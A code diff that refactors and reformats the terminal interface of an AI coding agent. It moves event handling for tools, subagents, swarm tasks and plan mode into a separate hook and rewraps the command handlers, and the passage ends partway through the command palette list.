-                    setActiveAgents(prev => prev.map(a => a.id === e.agentId && a.status === 'timing_out'
-                        ? { ...a, status: 'timeout' }
-                        : a));
-                }, 3000);
-            }
-            else {
-                // Regular error - set immediately with strict ID matching
-                setActiveAgents(prev => prev.map(a => a.id === e.agentId
-                    ? { ...a, status: 'error' }
-                    : a));
-            }
-            return;
-        }
-        if (event.type === 'agent.pending_plan') {
-            const e = event;
-            addMessage('system', `[AGENT] ${e.agentId} queued ${e.changes.length} change(s) to pending plan`);
-            return;
-        }
-        // Tool events
-        if (event.type === 'tool.start') {
-            const e = event;
-            const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
-            setStatus(s => ({ ...s, mode: `calling ${displayName}` }));
-            setToolCalls(prev => [...prev.slice(-4), {
-                    id: `${displayName}-${Date.now()}`,
-                    name: displayName,
-                    args: e.args || {},
-                    status: 'running',
-                    startTime: new Date(),
-                }]);
-            return;
-        }
-        if (event.type === 'tool.complete') {
-            const e = event;
-            const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
-            const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
-            setStatus(s => ({ ...s, mode: modeText }));
-            setToolCalls(prev => prev.map(t => t.name === displayName ? {
-                ...t,
-                status: 'success',
-                result: e.result,
-                duration: t.startTime ? Date.now() - t.startTime.getTime() : undefined,
-            } : t));
-            return;
-        }
-        if (event.type === 'tool.blocked') {
-            const e = event;
-            const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
-            setToolCalls(prev => prev.map(t => t.name === displayName ? {
-                ...t,
-                status: 'error',
-                error: e.reason || 'Blocked',
-            } : t));
-            return;
-        }
-        // LLM events
-        if (event.type === 'llm.start') {
-            const e = event;
-            const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
-            setStatus(s => ({ ...s, mode: modeText, iter: s.iter + 1 }));
-            return;
-        }
-        if (event.type === 'llm.complete' && eventWithSubagent.subagent && showThinking) {
-            const e = event;
-            const thinking = e.response?.thinking;
-            if (thinking) {
-                const preview = thinking.length > 500 ? thinking.slice(0, 500) + '...' : thinking;
-                addMessage('system', `[${eventWithSubagent.subagent}] ${preview}`);
-            }
-            return;
-        }
-        // Error events
-        if (event.type === 'error') {
-            const e = event;
-            const prefix = e.subagent ? `[${e.subagent} ERROR]` : '[ERROR]';
-            const errorMsg = typeof e.error === 'string' ? e.error : e.error?.message || 'Unknown error';
-            addMessage('error', `${prefix} ${errorMsg}`);
-            return;
-        }
-        if (event.type === 'completion.blocked') {
-            const e = event;
-            const details = e.reasons?.length ? e.reasons.join('\n') : 'Completion blocked by unresolved work.';
-            const openTasksLine = e.openTasks
-                ? `Open tasks: ${e.openTasks.pending} pending, ${e.openTasks.inProgress} in_progress, ${e.openTasks.blocked} blocked`
-                : '';
-            const constrainedLine = e.diagnostics?.forceTextOnly
-                ? 'Task continuation is currently suppressed by budget/wrapup force-text mode.'
-                : '';
-            addMessage('system', `[INCOMPLETE]\n${details}${openTasksLine ? `\n${openTasksLine}` : ''}${constrainedLine ? `\n${constrainedLine}` : ''}`);
-            setStatus(s => ({ ...s, mode: 'incomplete' }));
-            return;
-        }
-        // Insight events - also track tokens for active agents
-        if (event.type === 'insight.tokens') {
-            const e = event;
-            if (showThinking) {
-                let cacheStr = '';
-                if (e.cacheReadTokens && e.cacheReadTokens > 0) {
-                    cacheStr += ` [cached: ${e.cacheReadTokens.toLocaleString()}]`;
-                }
-                if (e.cacheWriteTokens && e.cacheWriteTokens > 0) {
-                    cacheStr += ` [cache-write: ${e.cacheWriteTokens.toLocaleString()}]`;
-                }
-                addMessage('system', `${subagentPrefix}* ${e.inputTokens.toLocaleString()} in, ${e.outputTokens.toLocaleString()} out${cacheStr}${e.cost ? ` $${e.cost.toFixed(6)}` : ''}`);
-            }
-            // Update tokens for active agent if this event is from a subagent
-            // IMPORTANT: Don't update tokens for agents that are timing_out/timeout/error
-            // These agents should have stopped, and any lingering events are from
-            // zombie processes that we don't want to count.
-            if (e.subagent || eventWithSubagent.subagent) {
-                const subagentId = e.subagentId || eventWithSubagent.subagentId;
-                const agentName = e.subagent || eventWithSubagent.subagent;
-                setActiveAgents(prev => prev.map(a => {
-                    // Use strict ID matching when subagentId is available (prevents duplicate counting
-                    // when multiple agents of the same type run in parallel)
-                    const matchesAgent = subagentId
-                        ? a.id === subagentId
-                        : (a.type === agentName || a.id.includes(agentName || ''));
-                    const isStillRunning = a.status === 'running';
-                    // Only update tokens if agent is still running
-                    if (matchesAgent && isStillRunning) {
-                        return { ...a, tokens: a.tokens + (e.inputTokens || 0) + (e.outputTokens || 0) };
-                    }
-                    return a;
-                }));
-            }
-            return;
-        }
-        // Resilience events
-        if (event.type === 'resilience.retry') {
-            const e = event;
-            addMessage('system', `[RETRY] ${e.reason} (${e.attempt}/${e.maxAttempts})`);
-            return;
-        }
-        if (event.type === 'resilience.recovered') {
-            const e = event;
-            addMessage('system', `[RECOVERED] ${e.reason} after ${e.attempts} attempt(s)`);
-            return;
-        }
-        // Subagent visibility events - also update Active Agents Panel
-        if (event.type === 'subagent.iteration') {
-            const e = event;
-            setStatus(s => ({ ...s, mode: `${e.agentId} iter ${e.iteration}/${e.maxIterations}` }));
-            // Update active agents panel with iteration info
-            // Use subagentId for strict matching when available (parallel same-type agents)
-            setActiveAgents(prev => prev.map(a => {
-                const matches = e.subagentId
-                    ? a.id === e.subagentId
-                    : (a.type === e.agentId || a.id.includes(e.agentId));
-                return matches ? { ...a, iteration: e.iteration, maxIterations: e.maxIterations } : a;
-            }));
-            return;
-        }
-        if (event.type === 'subagent.phase') {
-            const e = event;
-            setStatus(s => ({ ...s, mode: `${e.agentId} ${e.phase}` }));
-            // Update active agents panel with phase info
-            // Use subagentId for strict matching when available (parallel same-type agents)
-            setActiveAgents(prev => prev.map(a => {
-                const matches = e.subagentId
-                    ? a.id === e.subagentId
-                    : (a.type === e.agentId || a.id.includes(e.agentId));
-                return matches ? { ...a, currentPhase: e.phase } : a;
-            }));
-            return;
-        }
-        // Task events - update Tasks Panel
-        if (event.type === 'task.created') {
-            const e = event;
-            setTasks(prev => [...prev, e.task]);
-            addMessage('system', `[TASK] Created: ${e.task.subject}`);
-            return;
-        }
-        if (event.type === 'task.updated') {
-            const e = event;
-            setTasks(prev => prev.map(t => t.id === e.task.id ? e.task : t));
-            // Only log status changes
-            addMessage('system', `[TASK] ${e.task.subject}: ${e.task.status}`);
-            return;
-        }
-        // Swarm events - update Swarm Status Panel
-        if (event.type === 'swarm.status') {
-            const e = event;
-            setSwarmStatus(e.status);
-            return;
-        }
-        if (event.type === 'swarm.start') {
-            const e = event;
-            addMessage('system', `[SWARM] Starting: ${e.taskCount} tasks in ${e.waveCount} waves`);
-            return;
-        }
-        if (event.type === 'swarm.wave.start') {
-            const e = event;
-            addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves}: dispatching ${e.taskCount} tasks`);
-            return;
-        }
-        if (event.type === 'swarm.wave.complete') {
-            const e = event;
-            addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves} complete: ${e.completed} done${e.failed > 0 ? `, ${e.failed} failed` : ''}${e.skipped > 0 ? `, ${e.skipped} skipped` : ''}`);
-            return;
-        }
-        if (event.type === 'swarm.task.dispatched') {
-            const e = event;
-            addMessage('system', `[SWARM] ${e.taskId} -> ${e.workerName} (${e.model.split('/').pop()}): ${e.description.slice(0, 80)}`);
-            return;
-        }
-        if (event.type === 'swarm.task.completed') {
-            const e = event;
-            addMessage('system', `[SWARM] ${e.taskId} ${e.success ? 'completed' : 'failed'} (${(e.tokensUsed / 1000).toFixed(1)}k tokens, $${e.costUsed.toFixed(4)}, ${(e.durationMs / 1000).toFixed(1)}s)`);
-            return;
-        }
-        if (event.type === 'swarm.task.failed') {
-            const e = event;
-            addMessage('system', `[SWARM] ${e.taskId} failed: ${e.error}${e.willRetry ? ' (will retry)' : ''}`);
-            return;
-        }
-        if (event.type === 'swarm.task.skipped') {
-            const e = event;
-            addMessage('system', `[SWARM] ${e.taskId} skipped: ${e.reason}`);
-            return;
-        }
-        if (event.type === 'swarm.quality.rejected') {
-            const e = event;
-            addMessage('system', `[SWARM] ${e.taskId} quality rejected (${e.score}/5): ${e.feedback.slice(0, 100)}`);
-            return;
-        }
-        if (event.type === 'swarm.complete') {
-            const e = event;
-            addMessage('system', `[SWARM] Complete: ${e.stats.completedTasks}/${e.stats.totalTasks} tasks, ${(e.stats.totalTokens / 1000).toFixed(0)}k tokens, $${e.stats.totalCost.toFixed(4)}`);
-            // Clear swarm status after completion (leave panel visible briefly)
-            setTimeout(() => setSwarmStatus(null), 5000);
-            return;
-        }
-        if (event.type === 'swarm.error') {
-            const e = event;
-            addMessage('error', `[SWARM ERROR] ${e.phase}: ${e.error}`);
-            return;
-        }
-        // -------------------------------------------------------------------------
-        // Processing-only events (normal message submission)
-        // -------------------------------------------------------------------------
-        if (mode === 'processing') {
-            if (event.type === 'plan.change.queued') {
-                const e = event;
-                const summary = e.summary ? `: ${e.summary}` : '';
-                const prefix = e.subagent ? `[${e.subagent} PLAN]` : '[PLAN]';
-                addMessage('system', `${prefix} Queued ${e.tool}${summary}`);
-                return;
-            }
-            if (event.type === 'plan.change.complete') {
-                const e = event;
-                if (e.error) {
-                    addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} FAILED: ${e.error}`);
-                }
-                else if (e.tool === 'spawn_agent' && e.result) {
-                    const output = typeof e.result === 'object' && e.result !== null && 'output' in e.result
-                        ? String(e.result.output)
-                        : String(e.result);
-                    const preview = output.length > 800 ? output.slice(0, 800) + '\n... (truncated)' : output;
-                    addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} result:\n${preview}`);
-                }
-                else {
-                    addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} completed`);
-                }
-                return;
-            }
-            if (event.type === 'cache.hit' && showThinking) {
-                const e = event;
-                addMessage('system', `[CACHE HIT] similarity: ${(e.similarity * 100).toFixed(0)}%`);
-                return;
-            }
-            if (event.type === 'cache.miss' && showThinking) {
-                addMessage('system', `[CACHE MISS]`);
-                return;
-            }
-            if (event.type === 'compaction.auto') {
-                const e = event;
-                const before = (e.tokensBefore / 1000).toFixed(1);
-                const after = (e.tokensAfter / 1000).toFixed(1);
-                addMessage('system', `[COMPACT] ${before}k -> ${after}k tokens (${e.messagesCompacted} messages)`);
-                return;
-            }
-            if (event.type === 'compaction.warning' && showThinking) {
-                const e = event;
-                const pct = Math.round((e.currentTokens / e.threshold) * 100);
-                addMessage('system', `[!] Context at ${pct}% of threshold`);
-                return;
-            }
-        }
-    }, [addMessage, showThinking]);
-    // Set up transparency aggregator and subscribe to agent events
-    useEffect(() => {
-        const aggregator = new TransparencyAggregator();
-        transparencyAggregatorRef.current = aggregator;
-        // Subscribe to state changes
-        const unsubscribeAggregator = aggregator.subscribe((state) => {
-            setTransparencyState(state);
-        });
-        // Subscribe to agent events
-        const unsubscribeAgent = agent.subscribe((event) => {
-            aggregator.processEvent(event);
-            handleAgentEvent(event); // Unified event handler for TUI display
-        });
-        return () => {
-            unsubscribeAggregator();
-            unsubscribeAgent();
-        };
-    }, [agent, handleAgentEvent]);
+    const transparencyAggregatorRef = useAgentEvents({
+        agent,
+        refs: { executionModeRef, showThinkingRef, debugExpandedRef },
+        setters: {
+            setStatusThrottled,
+            flushStatusThrottle,
+            setToolCalls,
+            setActiveAgents,
+            setTasks,
+            setSwarmStatus,
+            setTransparencyState,
+        },
+        addMessage,
+        debugBuffer,
+    });
     // =========================================================================
     // COMMAND HANDLER
     // =========================================================================
@@ -1153,7 +1061,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     addMessage('system', `Loading session: ${targetSession.id}\n   Created: ${new Date(targetSession.createdAt).toLocaleString()}\n   Messages: ${targetSession.messageCount}`);
                     // Try to load from checkpoint first
                     let loadCheckpointData;
-                    if ('loadLatestCheckpoint' in sessionStore && typeof sessionStore.loadLatestCheckpoint === 'function') {
+                    if ('loadLatestCheckpoint' in sessionStore &&
+                        typeof sessionStore.loadLatestCheckpoint === 'function') {
                         const sqliteCheckpoint = sessionStore.loadLatestCheckpoint(targetSession.id);
                         if (sqliteCheckpoint?.state) {
                             loadCheckpointData = sqliteCheckpoint.state;
@@ -1200,23 +1109,31 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             }
             case 'tasks': {
                 // Filter out deleted tasks
-                const visibleTasks = tasks.filter(t => t.status !== 'deleted');
+                const visibleTasks = tasks.filter((t) => t.status !== 'deleted');
                 if (visibleTasks.length === 0) {
                     addMessage('system', 'No tasks. Tasks are created when the agent uses task_create tool.');
                     return;
                 }
                 // Count by status
-                const pending = visibleTasks.filter(t => t.status === 'pending').length;
-                const inProgress = visibleTasks.filter(t => t.status === 'in_progress').length;
-                const completed = visibleTasks.filter(t => t.status === 'completed').length;
+                const pending = visibleTasks.filter((t) => t.status === 'pending').length;
+                const inProgress = visibleTasks.filter((t) => t.status === 'in_progress').length;
+                const completed = visibleTasks.filter((t) => t.status === 'completed').length;
                 // Format task list
-                const taskLines = visibleTasks.map(t => {
-                    const isBlocked = t.blockedBy.some(id => {
-                        const blocker = visibleTasks.find(bt => bt.id === id);
+                const taskLines = visibleTasks.map((t) => {
+                    const isBlocked = t.blockedBy.some((id) => {
+                        const blocker = visibleTasks.find((bt) => bt.id === id);
                         return blocker && blocker.status !== 'completed';
                     });
-                    const icon = isBlocked ? '◌' : t.status === 'completed' ? '✓' : t.status === 'in_progress' ? '●' : '○';
-                    const blockedInfo = isBlocked ? ` (blocked by: ${t.blockedBy.slice(0, 2).join(', ')})` : '';
+                    const icon = isBlocked
+                        ? '◌'
+                        : t.status === 'completed'
+                            ? '✓'
+                            : t.status === 'in_progress'
+                                ? '●'
+                                : '○';
+                    const blockedInfo = isBlocked
+                        ? ` (blocked by: ${t.blockedBy.slice(0, 2).join(', ')})`
+                        : '';
                     const activeInfo = t.status === 'in_progress' && t.activeForm ? `\n     └ ${t.activeForm}...` : '';
                     return `  ${icon} ${t.id}  ${t.subject}${blockedInfo}${activeInfo}`;
                 });
@@ -1241,13 +1158,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                 const agentToolTokens = agentTools.length * 150;
                 const convTokens = agentState.messages
                     .filter((m) => m.role !== 'system')
-                    .reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
+                    .reduce((sum, m) => sum +
+                    estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
                 const totalTokens = systemTokens + mcpTokens + agentToolTokens + convTokens;
                 const contextLimit = agent.getMaxContextTokens();
                 const percent = Math.round((totalTokens / contextLimit) * 100);
-                const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) + '-'.repeat(Math.max(0, 20 - Math.round(percent / 5)));
+                const bar = '='.repeat(Math.min(20, Math.round(percent / 5))) +
+                    '-'.repeat(Math.max(0, 20 - Math.round(percent / 5)));
                 addMessage('system', [
-                    `Context (~${totalTokens.toLocaleString()} / ${(contextLimit / 1000)}k)`,
+                    `Context (~${totalTokens.toLocaleString()} / ${contextLimit / 1000}k)`,
                     `  [${bar}] ${percent}%`,
                     `  System: ~${systemTokens.toLocaleString()}`,
                     `  Tools:  ~${agentToolTokens.toLocaleString()} (${agentTools.length})`,
@@ -1265,7 +1184,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                         return;
                     }
                     setIsProcessing(true);
-                    setStatus(s => ({ ...s, mode: 'compacting' }));
+                    setStatus((s) => ({ ...s, mode: 'compacting' }));
                     const result = await compactor.compact(agentState.messages);
                     agent.loadMessages(result.preservedMessages);
                     addMessage('system', `Compacted: ${result.compactedCount + result.preservedMessages.length} -> ${result.preservedMessages.length} msgs`);
@@ -1274,7 +1193,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     addMessage('error', e.message);
                 }
                 setIsProcessing(false);
-                setStatus(s => ({ ...s, mode: 'ready' }));
+                setStatus((s) => ({ ...s, mode: 'ready' }));
                 return;
             case 'mcp': {
                 if (args[0] === 'tools') {
@@ -1284,7 +1203,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     }
                     else {
                         const stats = mcpClient.getContextStats();
-                        addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools.slice(0, 15).map((t) => `  ${mcpClient.isToolLoaded(t.name) ? '[Y]' : '[ ]'} ${t.name}`).join('\n')}`);
+                        addMessage('system', `MCP Tools (${stats.loadedCount}/${stats.totalTools}):\n${tools
+                            .slice(0, 15)
+                            .map((t) => `  ${mcpClient.isToolLoaded(t.name) ? '[Y]' : '[ ]'} ${t.name}`)
+                            .join('\n')}`);
                     }
                     return;
                 }
@@ -1326,8 +1248,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     ...builtIn.slice(0, 10).map((t) => `  * ${t.name}`),
                     builtIn.length > 10 ? `  ... +${builtIn.length - 10}` : '',
                     `MCP (${mcpTools.length}):`,
-                    ...(mcpTools.length > 0 ? mcpTools.slice(0, 5).map((t) => `  * ${t.name}`) : ['  (none)']),
-                ].filter(Boolean).join('\n'));
+                    ...(mcpTools.length > 0
+                        ? mcpTools.slice(0, 5).map((t) => `  * ${t.name}`)
+                        : ['  (none)']),
+                ]
+                    .filter(Boolean)
+                    .join('\n'));
                 return;
             }
             case 'checkpoint':
@@ -1414,7 +1340,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                         addMessage('system', 'No threads.');
                     }
                     else {
-                        addMessage('system', 'Threads:\n' + threads.map((t) => `  ${t.id}${t.name ? ` - ${t.name}` : ''} (${t.messages?.length || 0} msgs)`).join('\n'));
+                        addMessage('system', 'Threads:\n' +
+                            threads
+                                .map((t) => `  ${t.id}${t.name ? ` - ${t.name}` : ''} (${t.messages?.length || 0} msgs)`)
+                                .join('\n'));
                     }
                 }
                 catch (e) {
@@ -1450,12 +1379,14 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                         `Mode: ${modeInfo.icon} ${modeInfo.name}`,
                         hasPlan ? `  Pending: ${agent.getPendingChangeCount()} changes` : '',
                         agent.getAvailableModes(),
-                    ].filter(Boolean).join('\n'));
+                    ]
+                        .filter(Boolean)
+                        .join('\n'));
                 }
                 else {
                     agent.setMode(args[0].toLowerCase());
                     const modeInfo = agent.getModeInfo();
-                    setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
+                    setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
                     addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
                 }
                 return;
@@ -1463,7 +1394,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             case 'plan': {
                 agent.togglePlanMode();
                 const modeInfo = agent.getModeInfo();
-                setStatus(s => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
+                setStatus((s) => ({ ...s, mode: modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready' }));
                 addMessage('system', `Mode: ${modeInfo.icon} ${modeInfo.name}`);
                 if (modeInfo.name === 'Plan') {
                     addMessage('system', 'Plan Mode: writes are queued. /show-plan, /approve, /reject');
@@ -1487,7 +1418,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                 setIsProcessing(true);
                 executionModeRef.current = 'approving';
                 setExecutionMode('approving');
-                setStatus(s => ({ ...s, mode: 'executing plan' }));
+                setStatus((s) => ({ ...s, mode: 'executing plan' }));
                 try {
                     const count = args[0] ? parseInt(args[0], 10) : undefined;
                     const result = await agent.approvePlan(count);
@@ -1508,7 +1439,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     if (agent.getMode() === 'plan') {
                         agent.setMode('build');
                     }
-                    setStatus(s => ({ ...s, mode: 'ready' }));
+                    setStatus((s) => ({ ...s, mode: 'ready' }));
                 }
                 return;
             }
@@ -1521,7 +1452,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                 addMessage('system', '[X] Plan rejected');
                 if (agent.getMode() === 'plan') {
                     agent.setMode('build');
-                    setStatus(s => ({ ...s, mode: 'ready' }));
+                    setStatus((s) => ({ ...s, mode: 'ready' }));
                 }
                 return;
             case 'theme': {
@@ -1634,7 +1565,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     return;
                 }
                 setIsProcessing(true);
-                setStatus(s => ({ ...s, mode: 'spawning' }));
+                setStatus((s) => ({ ...s, mode: 'spawning' }));
                 try {
                     const [agentName, ...taskParts] = args;
                     const task = taskParts.join(' ');
@@ -1645,7 +1576,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     addMessage('error', e.message);
                 }
                 setIsProcessing(false);
-                setStatus(s => ({ ...s, mode: 'ready' }));
+                setStatus((s) => ({ ...s, mode: 'ready' }));
                 return;
             // Trace analysis commands
             case 'trace': {
@@ -1727,7 +1658,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                         const { createTraceSummaryGenerator } = await import('../analysis/trace-summary.js');
                         const generator = createTraceSummaryGenerator(data);
                         const summary = generator.generate();
-                        const lines = ['Efficiency Analysis:', '', `Anomalies Detected: ${summary.anomalies.length}`];
+                        const lines = [
+                            'Efficiency Analysis:',
+                            '',
+                            `Anomalies Detected: ${summary.anomalies.length}`,
+                        ];
                         if (summary.anomalies.length === 0) {
                             lines.push('  No significant issues detected.');
                         }
@@ -1844,18 +1779,38 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                     addMessage('system', `[ok] TypeScript compilation clean (${tscResult.duration}ms)`);
                 }
                 else {
-                    const summary = tscResult.errors.slice(0, 10)
-                        .map(e => `  ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
+                    const summary = tscResult.errors
+                        .slice(0, 10)
+                        .map((e) => `  ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
                         .join('\n');
                     addMessage('system', `[X] ${tscResult.errorCount} TypeScript error(s) (${tscResult.duration}ms):\n${summary}`);
                 }
-                transparencyAggregatorRef.current?.processEvent({ type: 'diagnostics.tsc-check', errorCount: tscResult.errorCount, duration: tscResult.duration, trigger: 'manual' });
+                transparencyAggregatorRef.current?.processEvent({
+                    type: 'diagnostics.tsc-check',
+                    errorCount: tscResult.errorCount,
+                    duration: tscResult.duration,
+                    trigger: 'manual',
+                });
                 return;
             }
             default:
                 addMessage('system', `Unknown: /${cmd}. Try /help`);
         }
-    }, [addMessage, exit, agent, mcpClient, lspManager, sessionStore, compactor, model, currentThemeName, currentSessionId, formatSessionsTable, saveCheckpointToStore, showThinking, persistPendingPlanToStore]);
+    }, [
+        addMessage,
+        exit,
+        agent,
+        mcpClient,
+        lspManager,
+        sessionStore,
+        compactor,
+        model,
+        currentThemeName,
+        currentSessionId,
+        formatSessionsTable,
+        saveCheckpointToStore,
+        persistPendingPlanToStore,
+    ]);
     // =========================================================================
     // SUBMIT HANDLER
     // =========================================================================
@@ -1878,13 +1833,13 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         setIsProcessing(true);
         executionModeRef.current = 'processing';
         setExecutionMode('processing');
-        setStatus(s => ({ ...s, mode: 'thinking' }));
+        setStatus((s) => ({ ...s, mode: 'thinking' }));
         // Reset CPU time counter for per-prompt resource limits (prevents session-wide timeout)
         agent.resetResourceTimer();
         try {
             const autoLoop = await runWithIncompleteAutoLoop(agent, trimmed, {
                 onRetry: (attempt, maxAttempts) => {
-                    setStatus(s => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
+                    setStatus((s) => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
                     addMessage('system', `[AUTO-LOOP] Retrying incomplete run (${attempt}/${maxAttempts})`);
                 },
             });
@@ -1893,15 +1848,25 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             const modeInfo = agent.getModeInfo();
             const completion = result.completion;
             const finalMode = completion.success
-                ? (modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready')
-                : (completion.reason === 'open_tasks' || completion.reason === 'future_intent' || completion.reason === 'incomplete_action'
+                ? modeInfo.name === 'Plan'
+                    ? 'ready (plan)'
+                    : 'ready'
+                : completion.reason === 'open_tasks' ||
+                    completion.reason === 'future_intent' ||
+                    completion.reason === 'incomplete_action'
                     ? 'incomplete'
-                    : 'failed');
-            setStatus({ iter: metrics.llmCalls, tokens: metrics.totalTokens, cost: metrics.estimatedCost, mode: finalMode });
+                    : 'failed';
+            setStatus({
+                iter: metrics.llmCalls,
+                tokens: metrics.totalTokens,
+                cost: metrics.estimatedCost,
+                mode: finalMode,
+            });
             // Calculate current context size (what's actually in the window now)
             const agentState = agent.getState();
             const estimateTokens = (str) => estimateTokenCount(str);
-            const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
+            const messageTokens = agentState.messages.reduce((sum, m) => sum +
+                estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
             // Include system prompt overhead (codebase context, tools, rules)
             const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
             const currentContextTokens = messageTokens + systemPromptTokens;
@@ -1909,8 +1874,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             const contextPct = Math.round((currentContextTokens / contextLimit) * 100);
             const durationSec = (metrics.duration / 1000).toFixed(1);
             // Format: Session total (cumulative cost) | Current context (compaction awareness)
-            const sessionIn = metrics.inputTokens >= 1000 ? `${(metrics.inputTokens / 1000).toFixed(1)}k` : metrics.inputTokens.toLocaleString();
-            const sessionOut = metrics.outputTokens >= 1000 ? `${(metrics.outputTokens / 1000).toFixed(1)}k` : metrics.outputTokens.toLocaleString();
+            const sessionIn = metrics.inputTokens >= 1000
+                ? `${(metrics.inputTokens / 1000).toFixed(1)}k`
+                : metrics.inputTokens.toLocaleString();
+            const sessionOut = metrics.outputTokens >= 1000
+                ? `${(metrics.outputTokens / 1000).toFixed(1)}k`
+                : metrics.outputTokens.toLocaleString();
             const contextK = (currentContextTokens / 1000).toFixed(1);
             const metricsLine = `\n---\nSession: ${sessionIn} in / ${sessionOut} out | Context: ${contextK}k/${contextLimit / 1000}k (${contextPct}%) | ${metrics.toolCalls} tools | ${durationSec}s`;
             if (agent.hasPendingPlan()) {
@@ -1923,14 +1892,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                 }
             }
             else {
-                const responseText = (result.response != null && result.response.length > 0)
+                const responseText = result.response != null && result.response.length > 0
                     ? result.response
-                    : (result.error || 'No response');
+                    : result.error || 'No response';
                 if (!result.success) {
                     if (result.completion.reason === 'open_tasks' && result.completion.openTasks) {
                         addMessage('system', `[INCOMPLETE] Open tasks remain: ${result.completion.openTasks.pending} pending, ${result.completion.openTasks.inProgress} in_progress, ${result.completion.openTasks.blocked} blocked`);
                     }
-                    else if (result.completion.reason === 'future_intent' || result.completion.reason === 'incomplete_action') {
+                    else if (result.completion.reason === 'future_intent' ||
+                        result.completion.reason === 'incomplete_action') {
                         addMessage('system', `[INCOMPLETE] ${result.completion.details || 'Run ended with pending work.'}`);
                     }
                     addMessage('error', `[RUN FAILED] ${result.error || 'The agent did not complete this task successfully.'}`);
@@ -1965,36 +1935,156 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             setIsProcessing(false);
             setToolCalls([]);
         }
-    }, [addMessage, handleCommand, agent, sessionStore, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore, finishExecutionMode]);
+    }, [
+        addMessage,
+        handleCommand,
+        agent,
+        sessionStore,
+        saveCheckpointToStore,
+        persistenceDebug,
+        persistPendingPlanToStore,
+        finishExecutionMode,
+    ]);
     // =========================================================================
     // COMMAND PALETTE ITEMS
     // =========================================================================
     const commandPaletteItems = useMemo(() => [
-        { id: 'help', label: 'Help', shortcut: '/help', category: 'General', action: () => handleCommand('help', []) },
-        { id: 'status', label: 'Show Status', shortcut: '/status', category: 'General', action: () => handleCommand('status', []) },
-        { id: 'clear', label: 'Clear Screen', shortcut: 'Ctrl+L', category: 'General', action: () => { setMessages([]); setToolCalls([]); } },
-        { id: 'save', label: 'Save Session', shortcut: '/save', category: 'Sessions', action: () => handleCommand('save', []) },
-        { id: 'sessions', label: 'List Sessions', shortcut: '/sessions', category: 'Sessions', action: () => handleCommand('sessions', []) },
-        { id: 'load', label: 'Load Session', shortcut: '/load <id>', category: 'Sessions', action: () => handleCommand('sessions', []) }, // Shows sessions, user types /load <id>
-        { id: 'context', label: 'Context Info', shortcut: '/context', category: 'Context', action: () => handleCommand('context', []) },
-        { id: 'compact', label: 'Compact Context', shortcut: '/compact', category: 'Context', action: () => handleCommand('compact', []) },
-        { id: 'mcp', label: 'MCP Servers', shortcut: '/mcp', category: 'MCP', action: () => handleCommand('mcp', []) },
-        { id: 'mcp-tools', label: 'MCP Tools', shortcut: '/mcp tools', category: 'MCP', action: () => handleCommand('mcp', ['tools']) },
-        { id: 'plan', label: 'Toggle Plan Mode', shortcut: '/plan', category: 'Plan', action: () => handleCommand('plan', []) },
-        { id: 'show-plan', label: 'Show Plan', shortcut: '/show-plan', category: 'Plan', action: () => handleCommand('show-plan', []) },
-        { id: 'approve', label: 'Approve Plan', shortcut: '/approve', category: 'Plan', action: () => handleCommand('approve', []) },
